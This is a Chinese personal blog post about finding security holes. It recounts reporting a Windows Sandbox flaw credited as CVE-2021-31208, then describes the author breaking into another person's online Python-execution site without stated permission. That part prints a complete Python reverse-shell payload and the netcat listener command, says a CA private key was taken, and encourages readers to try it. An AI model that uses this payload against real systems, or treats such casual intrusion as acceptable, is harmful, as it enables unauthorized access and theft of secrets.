Mayx的博客

Logo

Mayx's Home Page

About Me

15 May 2021 - 字数统计:3183 - 阅读大约需要10分钟 - Hits: Loading...

论如何发现一个计算机漏洞

by mayx


网络安全?可不只是专业人员的事情。

起因

一个月前我发现了Windows沙箱有个很严重的漏洞,害得我都不敢相信微软产品的安全性了……不过Windows沙箱还是挺好用的,我不希望因为这种安全问题就放弃它,所以我就向微软反馈了这个漏洞。
于是昨两天,微软给我发邮箱说这个漏洞已经修好了,顺便感谢了一下我对微软产品安全性的贡献。虽然吧这个感谢也没给钱啥的,但是这个漏洞的描述页面能把我的名字写上去这个我还是挺高兴的。
在我收到这个消息当天,我兴奋的顺手又黑掉了一个网站😂,难不成我的天赋在信息安全上?

Windows沙箱的漏洞发现过程与复现方法

在几个月前,我的电脑莫名其妙的被安装上了Microsoft Edge Beta版,我明明从来没有安装过,但是它就是莫名其妙的出现了。这么一安装,我的电脑就有了两个Edge浏览器。像我对电脑上面的东西还是有一点点的洁癖的,我不希望电脑上出现多余的东西,像这种出现两个Edge的问题我肯定是无法忍受。所以呢我就开始想方设法的卸载掉它。
一般来说Edge Beta都是手动安装的,所以这种情况在“卸载或更改程序”里应该是可以发现的,但是这个是莫名其妙被安装上的,自然也就不会出现在那个列表之中。接下来我开始搜如何强行卸载掉Edge,网上搜到的答案一般就是在浏览器内核文件夹下找到Installer文件夹,然后在这个文件夹下执行命令.\setup.exe --uninstall --system-level --verbose-logging --force-uninstall就OK了。结果我明明是去的Beta版下的那个文件夹执行的这条命令,然后它把我正式版的Edge卸掉了……卸掉之后不仅留下了一个删不掉的图标,而且Beta版里也没有我的Cookie和插件……
过了两天Windows更新了,更新之后正式版的又给我安装回来了……这真的是不知道怎么说……后来我下了一个Geek Uninstaller总算是把那个困扰我很长时间的Edge Beta卸载掉了。
就以上这件事情搞的我很烦躁,烦躁之后就想发泄,发泄又不能对着我的电脑发泄,于是我就打开了Windows沙箱,把Windows沙箱里的Edge给卸载掉了。结果怎么着?我物理机上的Edge也不见了!这说明了啥问题?我在沙箱里做的操作竟然影响到了物理机?后来我经过测试发现,微软似乎把物理机里的C:\Program Files (x86)\Microsoft\Edge\Application文件夹映射到了沙箱里,而且没有做任何的限制。这可真是太可怕了,要知道沙箱相当于一个被信任执行危险东西的一个地方,那么使用它的人都是不会考虑里面运行的东西是不是安全的,看来阿三写的代码不行啊。假如我写一个程序,它把msedge.exe文件感染了,比如说加个壳啥的,物理机上用Edge的人应该也不少吧,至少市场占有率都已经超过Firefox了,那么在沙箱里Edge被感染的人在物理机上一旦运行,那么物理机将陷入危险的境地。
最开始我发现了这个漏洞之后我是在反馈中心里提交的,不过那个看起来貌似一点点用都没有,微软是没有人会去看那个东西的,而且就算看到了也只会静悄悄的修复掉,你的反馈就和垃圾没什么区别。
后来我在百度上搜怎么向微软提交漏洞,百度简直就是个垃圾,没有搜到一点点有用的信息,之后看了半天我看到有一个文章说可以给 secure@microsoft.com 发邮件来反馈BUG,于是我就用英文写了篇文章来报告这个BUG。 不过我的方法并不正确,因为微软有专门反馈BUG的网站,也就是Microsoft Security Response Center。你如果直接用邮箱报告他们当然也会回复,但是大概率得不到奖金,因为人家的报告一般都有格式,自己写邮件肯定是不知道要按什么格式写。所以垃圾百度搜给微软报告漏洞根本找不到这个网站,还是我发了邮件之后才知道原来可以在这里报告,所以如果大家以后找到微软的漏洞想报告,千万不要用那个垃圾“反馈中心”,也不要发邮件,最好直接在这里报告漏洞。
另外还有个问题就是如果真的得到了奖金,拿到它也有点麻烦,因为微软不能说是让你发个支付宝收款码之类的,得先注册一个HackerOne或者Bugcrowd的账户,而且从国外提款很麻烦,所以如果不是那种经常能发现漏洞的,或者是在安全公司里的人,基本上这钱就还是别提了。

复现的环境要求

这个漏洞的大致使用方法读完上面的部分大家应该也都明白了吧,PoC?那种东西我怎么可能会写?傻子都知道怎么测试了吧?所以如果大家想复现这个漏洞首先需要运行在Windows 10的电脑上安装Windows沙箱,最早的有效版本我不太清楚,因为这个漏洞是微软把旧版的Edge完全从电脑上删除开始的,另外目前的话如果想要复现这个漏洞不能安装KB5003173补丁,如果安装了貌似也可以卸载掉。所以以当前发布这篇文章的时间来看,只要在最新的Windows 10上卸载KB5003173补丁,然后安装Windows沙箱,就可以复现这个漏洞。

人生中第一个自己贡献了的CVE

看来CVE-2021-31208就是我贡献的了,以后只要在微软的鸣谢列表里搜索Mayx就可以搜到我找到的漏洞了,虽然这个漏洞很简单,但是自己的名字能写到那个列表里也挺令人高兴的啊。

那天我黑掉的网站

5月12日那天,有一名叫做Kingfish404的人Fork了我的博客,结果第一眼看到了那个爬猎聘网的脚本,吓得我还以为这位是我的老师,因为最近我参与的一个项目就是去爬各种招聘网站。总之就是这些原因我对这个人产生了一点点兴趣,就看了看Ta的仓库。看着看着看到了一个可以在线学习Python的网站源代码,我很久以前就很想做一个开源的这种在线运行Python代码然后可以自动批阅的网站,就像Python123那样,就是因为他们那个服务要收费所以就想写个开源的,不过因为如果直接用Python在服务器上运行的话实在是太危险了,所以我想的是写一个使用Docker来运行Python并且评分的平台(也许可以用k8s?),可惜我水平有限,不怎么会用Docker所以就没再管了。但是今天既然看到了那不得拜读一下?结果发现这个人写的就是我说的那种危险方法运行Python脚本的,看了一下代码还用了一个漏洞百出的安全检查函数来防止攻击……总之既然有示例站我们就来搞搞试试看嘛。一般来说这种反弹shell绝对是简单的不得了,不过我也只是知道这个概念,怎么用我还是不太清楚。然后就搜了一下,看到了这篇文章。嗯……现实中攻击还是要比CTF中攻击有意思,然后我就在我的服务器上执行了一下nc -lvvp 1234,在它的代码执行框里执行:

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("remote-ip",1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

就这样我就成功的反弹了一个Shell,虽然吧Ta给的权限不高,但是下个CA证书的私钥还是轻轻松松的。后来我给这个人反馈了一下他就把网站关掉了。
所以如果谁有兴趣想亲手试试看怎么反弹Shell也可以下载Ta的代码试一试。

总结

从以上来看,想找漏洞绝不是一定要学过网络/信息安全的人才能干的事情,至少我不是信息安全专业的,所以只要有能注意到问题的思考方法,要正面面对问题,要刻意触发问题,知道问题出现在哪里,猜测问题可以做什么,那么谁都可以发现漏洞,虽然发现了也不能说是大神吧……但是你看看这把我的名字写到鸣谢里不挺让人开心的吗?

tags: 安全 - 漏洞 - 网络
召唤伊斯特瓦尔